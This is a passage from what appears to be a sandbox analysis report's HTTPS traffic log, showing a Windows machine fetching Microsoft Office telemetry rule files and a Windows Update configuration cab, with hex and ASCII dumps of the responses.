R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49764	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 11f32c1c-b01e-003d-4c5c-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-158dbd74bf49tqzmhC1SN1qum800000004e000000000140h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49767	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 44e37c5b-101e-007a-028e-2d047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-158dbd74bf4jjjdmhC1SN1vmen00000004hg0000000039hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49768	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7b0becc1-c01e-008d-6e3f-2e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-158dbd74bf4kdtcghC1SN10mk400000004bg0000000052su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49765	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 2173f510-c01e-000b-3b58-2ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-157b9fd754f2v9cjhC1SN1cryn00000004s0000000004em7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:15 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49769	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:15 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 23aea2f2-001e-0065-4c65-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195115Z-157b9fd754f26z4rhC1SN1futw0000000500000000000748 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:15 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49766	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+atZCGEXt4o6SCh&MD=8wLWSR72 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-05 19:51:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f3923bf8-4cf7-411d-a4b1-0a1709271985 MS-RequestId: 9181c3d9-0cb2-43ac-8fe2-ef25d76f7145 MS-CV: zoz7ueAbh06Dqmkh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 05 Nov 2024 19:51:15 GMT Connection: close Content-Length: 24490
2024-11-05 19:51:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-05 19:51:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49770	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:15 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 66dddae9-001e-00ad-7c4d-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195115Z-158dbd74bf4hfx6nhC1SN1z1dw00000004c0000000001bnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49772	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:15 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7b7195f4-601e-0050-1f60-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195115Z-158dbd74bf4kd595hC1SN1av8c00000004bg000000007v3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49774	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:15 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 26055832-201e-0096-545c-2eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195115Z-158dbd74bf4fwv52hC1SN1tbkg00000004k0000000000xta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49773	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:15 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:15 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2676c640-401e-0048-235f-2e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195115Z-157b9fd754f5nn7qhC1SN19asn00000004pg00000000846u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49775	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:16 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:16 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2398c3f1-501e-007b-7e8e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195116Z-158dbd74bf4qgfthhC1SN1tv8800000004h0000000001wam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:16 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49776	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:16 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
